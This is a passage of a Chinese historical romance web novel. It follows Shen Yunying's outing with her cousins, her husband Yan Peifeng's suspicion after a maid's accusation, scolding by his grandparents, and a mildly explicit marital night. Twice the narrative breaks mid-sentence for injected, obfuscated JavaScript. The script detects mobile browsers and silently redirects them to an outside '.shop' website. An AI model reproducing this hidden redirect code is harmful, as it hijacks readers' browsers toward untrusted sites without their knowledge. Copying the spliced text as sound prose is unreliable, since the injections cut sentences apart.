蒋高恒在酒楼中否认亲事之时,是冲动,是意气。他为人光明磊落,就是有些冲动,遇事容易上头。他知道姑姑蒋文笙在太师府守寡,这么多年,祖父父亲都牵挂这个姑姑,不知她在京城过得好不好。 蒋高恒本以为此次来京城,一是为了大哥蒋高鑫入学国子监的事,二是去太师府贺寿。他就是来凑个热闹,给他娘搭把手。 蒋高恒做事不拘小节,蒋家也不是什么门户森严的人家,每回蒋高恒都是直接进正院,都不用下人另外通报。 这日宫中要办赏花宴的消息传得沸沸扬扬,蒋高恒以为和自家无关。可等回到家,就碰到沈家大夫人在和他母亲说话。 他母亲语气不善,“沈大夫人,你来找我说这些,无非就是打云楹婚事的主意。我和妹妹早已商定,信物都交换了。你就是说再多,也无用。” 沈大夫人冷笑道:“蒋家官小做事没规矩,少教养,我们沈家可不是。沈云楹是太师的嫡亲孙女,嫁给皇子王爷都够身份,你觉得就凭你和蒋文笙两张嘴,就能让她嫁给一个小秀才,沈太师和老夫人会同意吗?” 她重重搁下茶杯,“蒋夫人,说句不中听的,就算沈云楹没了父亲,只要她祖父是沈太师,就是京城的珍珠,落不到蒋家这块沙地里。你蒋家休要肖想。” 蒋高恒眼神一冷,眼看自己母亲被气得脸颊通红,还咬牙说不出话。太师府的权势是沈大夫人的底气。 “沈大夫人放心,我对沈表妹绝无觊觎之心。无需你亲自上门说道。”蒋高恒大步迈进屋,站到他母亲身侧。 沈大夫人轻笑两声,“那就好。”眼神再次扫过蒋夫人,这位蒋公子看着不像知道定亲的事。 蒋家果然是小门小户的作风。定亲在即,当事人竟然不知道。 “告辞。” 沈大夫人一甩袖子,领着下人胸有成竹离开。 就在这时候,蒋高恒才知,原来母亲和姑姑在为自己和沈云楹商议婚事,只是沈家不同意。这事祖父父亲等人都知道,蒋文笙每年都有给江南去信,沈太师和老夫人都不曾关心沈云楹,蒋文笙以为公婆不会插手沈云楹的亲事。 谁能想到,事到临头,沈太师和沈老夫人出言反对。 蒋高恒一愣,他看待沈云楹就如同亲妹妹一般,也看得出沈云楹对自己并无男女之情。没想到两人居然要议亲? 他笑道:“母亲,儿子与沈表妹只有兄妹之情,太师府高门大户,我们蒋家不必去高攀。” 蒋夫人却想到京城传得沸沸扬扬的赏花宴,又想到刚刚沈大夫人提到的皇子王爷,一下醍醐灌顶,想到沈家那边的打算。 太子良娣! 和太子侧妃差不多的位置。 蒋夫人想到沈云楹艳若芙蓉的样貌,袅袅婷婷的身段,竟觉得沈大夫人所言不虚。 她叹口气,对蒋高恒感慨:“要是蒋家位置门第再高一点就好了。” 就算沈家要拒绝,也不敢这么上门欺辱。 蒋夫人又想到小姑子,叹道:“可见,你姑姑高嫁的日子也不好过。” 蒋高恒自然明白母亲的言下之意,笑道:“母亲,我志不在此,大哥如今在国子监,一定会光耀门楣的,您放心等着吧。” 他有自知之明,本性不喜拘束,就不是当官的料。蒋高恒的计划就是年轻时四处游学,等年纪大了,就和祖父蒋宜一样,到书院任教,教书育人。 蒋夫人没好气瞪儿子一眼,还以为能激起小儿子的争斗之心,这小子却滑溜地推出大儿子顶事。 白日刚见识过沈大夫人的嫌弃,到了晚上赴友人邀约时,蒋高恒又遇到沈础筠和沈础砚兄弟。 沈础筠和沈础砚明里暗里说蒋高恒带着沈云楹出入文会,暗示他蒋高恒攀附,对亲表妹耍手段。 蒋高恒想自己与沈云楹清清白白,表兄表妹来参加文会的人不少,况且他们又不是孤男寡女,同行的还有他亲妹妹蒋琬。 蒋高恒当即言辞反驳,表明态度,甚至都忘记正在酒楼包厢之内。他实在不该当着众多男子的面谈论起沈云楹,这就是对她的冒犯。 同时,蒋高恒也反应过来,沈础筠和沈础砚是故意的。顿时对沈家人就多添了一丝不喜。 沈云楹不知蒋家具体发生的事情,更不知蒋高恒的内心歉疚,见人真心实意地道歉,还是为自己不在意的事在道歉,对蒋高恒的人品有了新的认知。 她想起蒋文笙对自己解释过一句,沈大夫人去见过蒋舅母,还被蒋高恒遇上了。他是不想母亲因自己被人瞧不起,才会出言撇清关系。 将心比心,沈云楹能理解蒋高恒,因为她就很重视蒋文笙。 沈云楹温和笑道:“事情已经过去了。表兄不必介怀,我不觉得有什么损失。” 在沈云楹看来,这事是沈家起的头,她与蒋高恒议亲是蒋文笙先提的,后来沈大夫人上门找蒋舅母,也是沈家想维持富贵、更进一步,想利用沈云楹的亲事。 从头到尾,蒋家有点无辜。 两人相视一笑,都知道彼此都不是斤斤计较之人。 沈云楹喜欢看游记,蒋高恒游览过许多地方,她提一个地方,蒋高恒就能说出更详细的情况,介绍几句当地的风土人情。 两人交谈愉悦,甚至同时心生感慨,他们果然适合当兄妹。 经历过燕培风对后院的态度,沈云楹觉得燕培风和自己理想中的夫君相差无几,些许瑕疵就可以忽略了,人无完人嘛。 而蒋高恒则想找一个温柔似水,清雅秀丽,带着书香气息的才女。和沈云楹完全不同。 于是,两人的相处并没因为未成的婚事而变得尴尬。 沈云楹顺势提出要归还蒋高恒的游记山水集,笑道:“这几本书是表兄与友人亲笔所作,我看过就是有幸,不必留在我这里蒙尘。” 而且曾经议过亲的男子亲笔所写的书,沈云楹也不好意思带去燕家。 蒋高恒没多问,直接收下,笑道:“这只是一部分,还有几本被友人送去书肆,等书肆开始售卖,我会给琬儿带几本回来,到时再给表妹送去一套。” 送书肆的书,这样既亲近,又有分寸。 沈云楹没想到这一匣子还不是全部,看来蒋高恒真的走了很多地方。她当即应下,“那我就提前谢谢表兄了。” 一旁的蒋琬吃完一串糖葫芦,一碟子绿豆糕,摸摸小肚子觉得饱了,就来到自家二哥和沈云楹身边,高兴道:“二哥,云楹表姐,我们这就去逛吧!我还答应一二三四,六个姐姐妹妹,要给她们带京城的好东西回去呢!” 小姑娘掰着手指头数要送几份礼物。 沈云楹不禁笑出声,“我们这就去玲珑阁,那里好多适合小姑娘的首饰,再去一品斋,买两坛果子汁,让你办宴席和六个姐姐妹妹一起喝。” 一品斋每个月十五都有特酿的果水售卖。 都是新鲜的时令水果做原料,用秘方酿制而成,每一款味道都不同。如今是初夏,应该有蜜桃汁,就是小孩子也能喝。 蒋琬迫不及待要出去,沈云楹做向导,带着她去京城好几个地方,半天时间就花去两百多两银子。 蒋高恒和他的小厮不远不近的跟在后面,充当护卫和拎东西的作用。 一行人又在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797680|189003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去至味阁用午膳,到了下午,沈云楹才拖着疲累的身躯回公主府。 “太累了,下回再也不跟人去买东西送礼。”沈云楹靠着美人榻,遗憾道:“还以为今天能轻松歇一天。” “人算不如天算啊。” 蒋琬的邀约就是老天爷的安排。好在就这一次。 银筝忍住笑,“夫人,你和表小姐逛的时候多起劲啊,每一样都挑挑拣拣的,真不像你平日的样子。” 沈云楹什么时候这么计较首饰物件,都是三夫人买什么就用什么,她根本不在乎这些。 沈云楹解释道:“我自己用的当然随意些。表妹要送礼,找我当军师,我不能这也说好,那也说行,敷衍了事啊。” 银屏噗嗤笑了,沈云楹以前就是这么敷衍沈家人的。尤其是太师府打了新首饰新衣裳送给三个姑娘的时候,沈云芝和沈云蔓就会互相比较一下,还要追问沈云楹,哪一个更出色。 每到这时候,沈云楹就是这么说的,这也好那也行,都不错。 沈云楹也想到在太师府的日子,脸上闪过怀念之色,她就问:“今儿晚膳吃什么?” 银屏正要说呢,“老太爷和老夫人说晚膳去那边用,明天他们就要回范州,就当是饯别宴。” “不过,”银屏神色有些古怪,“老夫人身边嬷嬷来传话的时候,特意拉着我小声问老爷是不是昨夜没回新房?还问,是不是老爷和夫人拌嘴了?嬷嬷说老夫人很生气,今晚要叫老爷过去问话。” “老太爷和老夫人似乎都觉得是老爷的错。”银屏以前只听说过磋磨新媳妇的,还从没听过责怪自家儿子孙子的。 沈云楹这才明白,她就说昨夜燕祖母说今天不用再去荣茂堂用膳,结果又派人来传话。原来是昨夜燕培风没回后院的事被老人家知道了。 她斩钉截铁,“当然是燕培风的错,不然是我的错吗?” 沈云楹一脸认真,语气真诚,竟让银屏也无话可说。是啊,刚新婚呢,她家姑娘又没做错事,那就是燕培风的错了。 —— 前院书房,燕培风正如痴如醉翻阅沈太师赠送的书籍,每一篇文章都有所得,于是越看越是手不释卷。 彻夜长读,第二天又接着看。 直到中午才浅眠休憩两个时辰,醒来便又继续翻看。 书房门被扣响,是荣茂堂的人,来传话让燕培风过去用晚膳。 燕培风这才惊觉,已经到用晚膳的时辰,他站起身,端起手边的浓茶就喝,醒醒神。 这时,一位穿着浅黄色比甲的丫鬟端着热茶进来,恭敬道:“少爷,那杯茶冷了,这儿有热茶,您用这杯吧!” 杨明月心疼燕培风熬夜苦读,又要喝冷茶,急急忙忙奉上热茶。整个人都凑到燕培风身边。 燕培风微皱眉头,冷声道:“不必,你下去吧。” 燕培风记得这个丫鬟,是乳母杨嬷嬷的孙女,当年求到他跟前,说给孙女一个差事,学些规矩,将来好找人家。 他是年轻公子,自然要和杨明月保持距离。否则岂不是有瓜田李下之嫌? 杨明月忍住心中酸涩,书房四个丫鬟,就只有她,少爷从来不让她近身伺候。现在连一杯热茶都不想喝她送的! 她几乎就要跑出去哭一回,只是想到今天在外面看到沈云楹和陌生男人逛街的画面,就告诉自己要忍住。 杨明月低着头,不忿道:“少爷,奴婢今日去给祖母买针线,无意间撞见夫人和别的男子在逛街游玩,有说有笑,毫不避讳!她可是咱们燕家的夫人!” 燕培风倏然抬眸,目光如冰锥,直直刺向站着的杨明月,原本悠然握杯的手指收紧,才缓缓开口:“你所言属实?” 杨明月肯定道:“奴婢说的都是真的!” 18. 第 18 章 为了避免遇到祖父母训孙子的场面,沈云楹特意晚了一刻钟才到荣茂堂。 燕祖父绷着脸,清瘦的面容上沟壑尽显,目蕴精光,一下子从教书育人的老先生变成官威显露的上位者。 燕祖母则是愠色刚消,眼眶微微发红,看向燕培风的目光竟然带着一丝恨铁不成钢。 沈云楹品出这层意思的时候,暗想还好燕祖父燕祖母就要回范州了,不然燕培风能不能顶住压力保持少进后院的状态,她觉得有点悬。 刚踏进荣茂堂,沈云楹便扬起笑脸,“还请祖父、祖母勿怪,孙媳去厨房守了一会儿黄芪茯苓鸡汤,这才来晚了些。” 黄芪茯苓鸡汤是太医来为两位老人家诊脉,点名的药膳。 夏日湿气重,易伤脾胃,年纪大的人容易困倦,食欲不振,而茯苓健脾利湿,黄芪补气血,是极合适夏日里给燕祖父和燕祖母进补的。 燕祖母的目光瞬间变得慈爱,瞧着沈云楹更是觉得哪儿哪儿都满意,不由转头瞪了自家孙子一眼,瞧瞧孙媳妇,貌美温柔又孝顺懂事,燕培风怎么能让孙媳妇独守空房? 就是燕祖父那威严的神色也消融大半,和蔼道:“孙媳妇来了,那便摆膳。” “云楹,来祖母这里,你别光顾着我们的身体,今儿我特地叫厨房做了燕窝鸽子汤,你也要补一补身子。”燕祖母想,自家孙子亏待了沈云楹,她可得加倍对沈云楹才是。 沈云楹顺势走到燕祖母身边,温柔一笑,“多谢祖母。” 一顿饭下来,燕家祖父母对燕培风冷言冷色,对沈云楹那是如沐春风。沈云楹都不好意思去看燕培风的脸色了。 临走前,燕祖父轻咳一声,视线定格在燕培风身上,目露警告,“培风,你已娶妻,又要步入官场,做事就要慎之又慎。我们老两口明日就要回范州,没法时时刻刻看着你。妻者,齐也。你要善待孙媳妇,她才会跟你一条心,彼此扶持,可知晓了?” 沈云楹一听,就知道这话不只是说给燕培风听的,也是在告诉她,要做好妻子的职责。 燕祖母接着道:“哪有前脚刚回门,得了太师的赠书,后脚就把人家孙女晾在后院的礼?那可是新婚前三日!要是沈家知晓了,打上门来都是现成的理由!培风,你扪心自问,你做得可对?” 结亲、联姻,是结两家之好,而不是结仇。 新婚三日,新房不空的道理,燕培风也要她教吗? 见燕培风再次低头认错,想到燕培风刚刚说的理由,他是看书太入神,一下疏忽了后院,仔细一看他眼下的确有一圈青黑色。 燕培风刚刚还说了一句,若是夫人使人来书房,他定然会回房。 燕祖母暗叹口气,她估摸着沈云楹是新嫁娘,不好意思催促丈夫回房。这几日接触下来,沈云楹腼腆温顺,不是那种张扬的性子。 “祖父祖母教训的是,孙儿记住了。”燕培风自觉昨夜对沈云楹的确不该忽略,新婚前三日,和平常自是不同的。他不该忽视。 转念一想,难道沈云楹也是因为昨夜他没去后院找她,所以今日才心绪不佳和别的男子逛街散心? 燕培风不自觉收拢起五指,又想起那个丫鬟信誓旦旦指控的模样,她是杨嬷嬷的孙女,不至于用这样的事开玩笑。 燕祖母又将目光投向沈云楹,拉着她的手殷切叮嘱:“云楹,若是培风有什么错处,你只管去找他。要我说,昨夜你就应该派个人去书房叫他回后院,要不你使唤个丫鬟来荣茂堂告诉我也是无碍的。” “你呀,你是培风的妻子,燕家的主母,府里的一切事物你都可以做主!” 沈云楹面色微微泛红,做出羞涩的模样,温声应道:“是,祖母,孙媳妇晓得了。” 燕家祖父母明日就回范州了,不论他们说什么,沈云楹只要当个新媳妇,什么都应下就是了。至于她做不做,做到什么程度,他们又不知道。 燕祖父和燕祖母对视一眼,燕祖母便满意道:“好了,咱们去用晚膳。” 饭毕,从荣茂堂出来,燕培风和沈云楹并肩而行,六月昼长夜短,这会儿暮色刚刚笼罩大地,青石板路的两边已经点起昏黄的路灯。 随行伺候的下人,思齐和银屏银筝到知道燕培风在荣茂堂被老太爷老夫人训斥过,走路的脚步声都比平时轻缓几分,就怕被燕培风迁怒。 沈云楹亦然。 她可太懂了。 从前在沈家,若是沈云芝和沈云蔓被沈老夫人训斥,出了慈晖院,总要接着拌嘴几句,互相不服气。 要是凑巧沈云楹在,两位堂姐便不约而同仗着姐姐的身份,斥责沈云楹不妥的行为,说得最多的就是读书惫懒,女红不通,整日里只会吃吃喝喝。 沈云楹就只能尽量遁走,不然姐妹拌嘴又惊动在怒气中的沈老夫人,她只会宽容两个姐姐,责罚沈云楹抄书诵经或是首饰月例。幸亏沈云楹不在意这些,不然非得在太师府憋闷死。 这时候,静远斋的蒋文笙就会亲自下厨,用美食安慰沈云楹,母女两个温馨的用膳聊天。 眼见快到去前院和后院的分岔路口,沈云楹偷偷瞄一眼燕培风,不知道他是去书房,还是回后院。 不过,燕培风才被燕家祖父母训斥过,八成是要跟她一块儿回后院的。 沈云楹不由低头垂下眼帘,唉,今晚又要折腾一回了吗? 燕培风不是不能接受别人批评指正的人,今晚祖父母说得对,他白日才在沈家众人面前,向沈太师承诺会善待沈云楹,转头新婚头三日就把人晾在一边,的确不妥。 他不着痕迹观察沈云楹,只见她不像昨日那般精神,耷拉着眉眼,仿佛愁云罩顶。莫不是还在伤怀? 燕培风眉头微微拧起,本来还想质问沈云楹今日与一名男子出门逛街的事,现下自己也有错处,燕培风因此事升起的怒火降了一半。 一路无话,燕培风沉默着陪在沈云楹身侧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16802160|189003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人一同回到铮然居。 进了正屋,银屏早备着温热的荷叶草茶,打眼瞧见燕培风和沈云楹一块进屋,立即激动地去茶房换一壶普洱。 银屏默默地奉上茶,就和银筝极有眼色的出去,不叨扰这对新婚夫妻。 沈云楹坦然坐到桌前,捧起自己的荷叶茶,顺便招呼燕培风,“夫君,可要用茶?” 她的视线看向桌面新沏的普洱,清香怡人,很适合给燕培风降降火气。 燕培风幽深的双眸看过来,神色似乎带着愠怒,沈云楹便以为是燕培风被长辈训斥,心情正不佳。心下暗想,她今晚要避开点,别在火星子上添柴火。 能不说话,就别说话。 要是燕培风想要在床上折腾一下,她就勉强配合,别让自己受罪。要是燕培风太过分?那就装病? 沈云楹脑子一茬又一茬的想着要如何应对燕培风。 而燕培风本人,一双狭长的眼眸深沉幽黯,斟酌片刻,才开口:“夫人,昨夜留宿书房,是我考虑得不够周全。今后,我不会再出现同样的错处。” 沈云楹就柔和一笑,“夫君用功上进,这点小事想不到也是常事。我不在意的。” 说到底,两个人都是吃了没经验的亏。早知道新婚三日在正房留宿这么受重视,沈云楹昨夜一定会派人去前院书房问一句。今日瞧燕家祖父母的模样,显然非常看重这点。 在两位老人家眼皮子底下,沈云楹必须尽量不犯错,少犯错。不然万一燕家祖父母不放心,要留在京中照看燕培风和自己,那可怎么办? 沈云楹想自己做主后院,而不是上头还有一尊需要敬着的大佛,不管做什么事都放不开。 燕培风的视线不曾离开沈云楹,知她真不在意,而非嘴上附和,他心底却不如想象中的那般愉悦,反而生出一丝不满。 燕培风没有多去深究,眼下还有一件事要问沈云楹。 “听说你今日出门了?”燕培风问得直接,既然不是因为独守一夜空房要出去散心,那是为何要不顾为人妇的身份,和男子逛街游玩? 燕培风问话的语气温和从容,像是寻常的闲聊。但是沈云楹就是心神一凛,莫名觉得问话的燕培风带着一股压迫感,让她心口砰砰发跳。 好在沈云楹自小应付沈老夫人,面上纹丝不动,她圆润的杏眸微微抬起,嗓音清脆,“是啊。今日我收到小表妹的帖子,她就要随我大舅母回江南了,邀我出门买些礼物带回去。” 沈云楹端起凉下去的荷叶茶喝一口,再次抬眸,对上燕培风深不见底的眸子,不禁试探道:“夫君,可是有什么不对?” “不是和一名年轻公子同游?” 燕培风毫不遮掩,他的声音低沉平缓,冷如山中涧水,沈云楹听不出喜怒,或是其他情绪。 沈云楹柔声道:“有。” 她暗暗观察燕培风的神色,继续道:“表妹年纪尚小,需要表哥随行照看。” 19. 第 19 章 普洱入喉,燕培风觉得滋味尚可,神情与方才并无区别,语气更加和缓,“你可看中什么?只管送回府里挂账。” 沈云楹是他的妻子,想买什么直接记在府里的账上就行。 沈云楹微微挑眉,启唇笑道:“多谢夫君。” 见燕培风举杯喝茶的动作,矜贵高雅,如行云流水,沈云楹对美的人和物都要多看两眼的。毫不遮掩的欣赏杏眸忽的对上深不见底的黑沉眼眸,周遭的空气仿佛都停滞片刻。 沈云楹突然福至心灵,转身去里间,不一会儿又走出来,手上捧着比巴掌稍大些的鹭鸶莲花浅浮雕乌木盒子,她嘴角含笑,“这是我今日为夫君买的。” 说着,沈云楹素手按下如意云头,移开锁扣,露出一片浅蓝素绸,一方歙砚静静的躺在其中。 沈云楹暗道果然机会留给有准备的人。 今日购置这方歙砚只是巧合。 沈云楹陪着蒋琬走过不少京城有名的铺子,其中就有一家书斋,蒋琬已经开蒙,她的姐妹们年岁差不多,只买一些蒙学所用之物。 沈云楹便顺势提出由自己付账,就当是赠别礼,蒋琬果然高兴,忙去挑出看中的文房四宝。沈云楹被她可爱的模样逗笑,一转头就见到跟进来的蒋高恒也是一脸笑意。 送了妹妹,哥哥也在场。 沈云楹就挑一支白玉狼毫笔赠给蒋高恒,口中说道:“希望将来看到表兄的游记名扬四海。” 蒋高恒接过笔,这也是他的愿望,扬了扬手中笔,笑道:“表妹的好意,我就厚脸皮接下了。若真有这一日,也有表妹的功劳。” 不得不说,蒋高恒比燕培风有趣多了。 这个念头冒出来的时候,沈云楹心下一惊,怎的无缘无故想到燕培风呢? 沈云楹笑容凝滞一瞬,她现在是有夫之妇,给表兄买礼物,却不给自家丈夫买一个,可能不太妥当? 沈云楹下意识点头,就是这样。 这方婺源的歙砚刚巧就摆在她前面的架子上。沈云楹虽然不爱上学堂,但该学的还是有了解一点。 婺源歙砚与端砚齐名。石质坚韧、润密,出墨快,贮水不耗。眼前的这块带有金星纹理,就很适合锋芒内敛,风骨卓然的谦谦君子。 沈云楹第一眼就觉得,这不就是燕培风? 于是便买回来了。 以备不时之需。 瞧见燕培风脸上露出的惊讶之色,沈云楹双眸弯弯,这不就用上了? 沈云楹又不是傻的,慢了半拍还是反应过来,分明就是有人在燕培风面前告自己状了。 听听刚刚燕培风说的什么话,逛街、和男子,只这两个词凑到一起,就引人遐想了。对表妹蒋琬却只字不提,好歹说三人行,蒋琬打掩护呢,告状还弄虚作假。不然她就要认真辩解一番。 不过沈云楹想错了,杨明月是真的忽视蒋琬,她先入为主,看到沈云楹与蒋高恒在悦来楼相谈甚欢。而且蒋家的马车在悦来楼后院,蒋琬早早上车。 而沈云楹打着早去早回的主意,没绕到后方,燕家的马车直接停在大门口。蒋高恒又跟在沈云楹身后,送她上马车,又在边上等蒋家的马车出来。 于是,在杨明月的视角,就是沈云楹与蒋高恒单独幽会逛街。至于后面沈云楹与蒋琬汇合,她们连话都没说,马车便一前一后的行驶而去。 京城路广人多,杨明月靠步行,如何追得上马车?她追过一条街,等马车进入城内大道,杨明月就追丢了。 这些沈云楹不知,燕培风也不知。 沈云楹居然为自己买了一方砚台,完全出乎燕培风的预料。只这一个坦荡的行为,燕培风的信任就偏向沈云楹。 杨嬷嬷的那个孙女为何会信誓旦旦的指控,去查清楚便是。燕培风以往不曾留意过身边的丫鬟侍女,一时半会儿猜不出是何原因。 燕培风神态郑重地接过砚台,他是读书人,对砚台自然了解。在太师府的时候,听沈老夫人说沈云楹不通文墨,现在看,也不尽然。 “多谢夫人。” 声如泠泠清泉,流淌而过。 两人相识不过三日,相处时还带着拘谨疏离。 沈云楹在心里悄悄松口气,想到自己和燕培风,一个说多谢夫君,一个说多谢夫人。两个人对着道谢,客气夫妻,就是这样了。 新婚小夫妻,有过一次经验,第二次的夜间活动自然而然开始。 等搂紧沈云楹的纤细腰肢,细滑软嫩的触感叫燕培风心神一荡,却又想起一件要紧事,他还没读透那本春宫册子。 难道要临阵脱逃? 燕培风整个人笼罩住沈云楹,呼吸交错间,妻子殷红的唇瓣微微张开,忽然贝齿咬紧,那唇瓣的红仿佛被打上大红的胭脂,这抹红色从沈云楹蔓延到燕培风身上,让他胸膛滚烫,眼神炽热。 只一个俯身,就能采撷。 燕培风不再犹豫,理论不如实践,或许他应该换一个方法,实践出真知,而非依靠书本的知识。 燕培风来势汹汹,沈云楹被迫承受,她只觉得前一刻燕培风还是温和君子,下一秒不知受了什么刺激,动作又急又快,让人应接不暇。 这一晚,燕培风足足折腾了快两个时辰。 和新婚之夜不同,这一次,燕培风心境复杂。有再战要胜过上一回的胜负欲,有满足沈云楹开枝散叶的补偿。 燕培风猜测逛街之事应当是自己冤枉了沈云楹,若是自己没有开门见山找沈云楹,而是只在心底揣度,审视沈云楹的一举一动,燕培风想到这样的后果,身上的气压骤然降低。 沈云楹太累了。 她思绪都没法正常转动,脑子里莫名浮现曾在话本子里看过的一句话,没有耕坏的田,只有累坏的牛。 沈云楹现在亲身作证,打假这句俗语。 燕培风就像不知疲倦的牛,整个人永远有使不完的力气。而自己,这块田已经经不起一点风吹草动了! 心里这么想的,沈云楹压根没心思遮掩,浑身无力侧躺着,带着一股生无可恋的气息。 感受到燕培风身上散发出来的低气压,沈云楹恨不得立刻下床,离开公主府,回到静远斋去。 她真的累了,想回家找她娘。 沈云楹不解,燕培风都不累吗? 换了好几个姿势,怎的燕培风好像心情还越来越差了? 难道他还觉得我不够配合? 还是因为今晚是被燕家祖父母逼着来的,所以燕培风心里其实也不愿意做榻上之事?可他闹腾了这么久,也不像啊。 燕培风心下盘算着丫鬟告状对沈云楹的不利,低头一看,臂弯里的人细汗涔涔,浑身无力,显然累坏了。 今夜,他的确有些失控。 情欲褪去,燕培风的双眼再次变得温和内敛,回到谦和君子的模样。 他抬手抚去沈云楹眼角的细汗,沈云楹动也不动,只在他的手摸索眼尾的时候,睫毛微微颤动,格外惹人怜惜。 燕培风难得主动打破计划,怕再惊到怀里的妻子,嗓音带着自己都没察觉的柔和,“明日我回来用晚膳。” 沈云楹还在失神中,耳朵听到燕培风明晚还来铮然居,下意识反驳:“你还是十五再来吧。” 燕培风嘴巴张了又张,硬是咽下去未出口的话,眸光闪过困惑,莫不是沈云楹太累,口齿不清? 床帐内的旖旎气氛陡然一静。 沈云楹忙给自己打补丁,杏眸真诚地解释:“明日要送祖父祖母出城,那么长一段路呢,我,我怕受不住。” 最后三个字,娇憨婉转,一语双关。不仅怕在马车上坐不住,也怕今晚承受不住。 此时她纤长的睫毛如鸦羽般扇动,圆润杏眸饱含祈求,让人不忍拒绝。 燕培风轻咳两声,收敛神色,沉闷的回一声好。 燕培风想去洗漱一番再睡,但沈云楹坚持不住了,摆手拒绝。 燕培风没有勉强,只自己去洗漱,张嘴就想叫银屏银筝进来为沈云楹擦洗。忽然动作一顿,回头望着慵懒躺在床上的曼妙身姿,他突然不想任何人看到床幔里的风景。 那就只有一种选择。 燕培风亲自浸湿帕子,为呼呼大睡的沈云楹擦洗一遍,才上床搂着人沉沉睡 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他便嘱咐道:“我与你祖母琴瑟和鸣,过了大半辈子,你父亲与公主也是夫妻恩爱,没个什么小妾通房。燕培风,不论将来如何,我燕家不能出宠妾灭妻的蠢人。” 燕培风正要答应,燕祖父又继续说:“以前你不近女色,是件好事。今日突然发现言之过早,或许该提前让你过了女色的坎,免得将来难过美人关。” 见祖父越说越不靠谱,燕培风立即出声打断,沉声道:“祖父,您多虑了。孙儿有一个妻子足矣。” 难得碰上一个安安静静的沈云楹,燕培风甚是满意,实在不想自己后院整日吵吵嚷嚷的,麻烦。 燕祖父双目一瞪,没好气道:“得了,我老了说不得你。” 转头就变脸,和蔼可亲的对沈云楹道:“孙媳妇,今后有劳你照顾培风。你祖母说的对,女儿家娇贵,暑热上来不好受,我们就要启程了,你快些上马车歇一歇。” 沈云楹对燕家祖父母的印象比沈太师和沈老夫人要好,相处几日,分别时已经有些不舍。 她认真点头:“祖父放心,孙媳会的。”至于休息的话,沈云楹忽略了,就一会儿时间,没必要。 沈云楹看向燕祖父,又看看燕祖母,继续道:“祖父祖母,路上当心身体。” 燕培风跟着道:“祖父,我安排了护卫和大夫随行,回程不赶时间,一路慢行即可。” 燕祖父乐道:“晓得了,你们回吧。” 说完,对护卫首领点点头,那首领便大喊一声,“走!” 燕家祖父母这行人缓缓离去。 沈云楹与燕培风坐回燕家的马车进城门。 马车轱辘轱辘往前行,燕培风刚与家人分别,望着同样不舍的沈云楹,突然开口:“我送去你太师府,探望岳母?” 沈云楹双眸一亮,欣喜之情溢于言表。 “不过三日婚假已过——” 燕培风只说半句,沈云楹就笑着接下半句,“夫君只管去衙门,我找母亲叙话,夫君在反而不便了。” 体贴、柔顺,偶尔在榻间才露出一点小脾气。 眼前浮现昨夜沈云楹的妩媚风情,燕培风耳根开始发烫,他忙回转心思,点头道:“如此也好。家中无事,你与岳母多待一阵,我下衙之后来接你回府。” 燕培风说出接人的话,自己先比沈云楹愕然片刻,等见到沈云楹杏眸惊愕得亮如明珠,他微微一笑,仿佛方才说的是再自然不过的事情。 沈云楹心里当然惊讶,燕培风不应该说,我要在衙门待到天黑,再来一句夫人自便吗? 沈云楹面颊微红,对上温和清雅模样的燕培风,羞涩道:“好,我在太师府等夫君。” 这个时辰路上马车少,燕家标志的马车在路上畅通无阻,很快就来到太师府门前。 守门的小厮慌慌忙忙进府禀报,沈云楹昨日才回门,谁也没想到她这么快又回太师府。 沈云楹示意银筝去拦住小厮,不必惊动人,她先去慈晖院请个安,就直接去静远斋。 燕培风没有跟着进府,只目送沈云楹进门便去了衙门。 20. 第 20 章 沈云楹没在慈晖院多停留,沈老夫人也知道沈云楹主要回来看望蒋文笙,只说了几句就让人离开。到了静远斋,沈云楹径直进门,先朝廊下躺椅处看了看,没人在,接着就是去后院菜地瞧瞧,蒋文笙依然不在。 沈云楹招手唤来一个丫鬟,“我娘呢?” 蒋文笙不是沈云楹,不爱睡懒觉,按照她的生活习惯,这个时辰,不是听丫鬟说书,就是在菜地浇水。今日却两个地方都不在。 丫鬟赶紧回:“禀三姑奶奶,三夫人出去了,还没回来。” 沈云楹好奇问:“去哪儿了?” 她实在想不到蒋文笙会去哪里。平常蒋文笙连静远斋都很少出。这么早能去哪儿? 不等丫鬟回答,门外就响起脚步声,沈云楹回头望去,蒋文笙正迈着沉重的步伐进院子,不耐烦的神色在见到沈云楹的瞬间褪去,她当即露出笑脸,“云楹?” 沈云楹扬起唇角,轻快喊人,“娘!” 昨日离开的时候不曾想到这么快能再见,蒋文笙真以为要等上一阵子,最少也要一两个月,母女二人才能再次相见。 蒋文笙和沈云楹一起进屋,小厨房掐着主子回来的点送上来两碗冰酥酪,里头还放了一层果脯,酸酸甜甜的,丰富口感。 这冰酥酪是蒋文笙出门前特地点的,下火气。 沈云楹纯属回来得巧,小厨房赶忙加送一份,此时旭日高升,四周已经有了热气,沈云楹看到冰酥酪就忍不住先吃一口。 “娘,你去哪儿了?” 蒋文笙无奈道:“是沈云芝的事。” “昨夜,桐安老宅快马送来消息,沈云芝重病。请了许多大夫看都不见好转,情况不太好。大房的意思,桐安是小县城,好大夫有限,想求沈太师和老夫人同意沈云芝回京。可是二房怎么愿意?” 二夫人竭力反对,章兴宇的前未婚妻,王氏都恨不得没这个人,怎么会愿意沈云芝重现,在眼前晃悠呢? 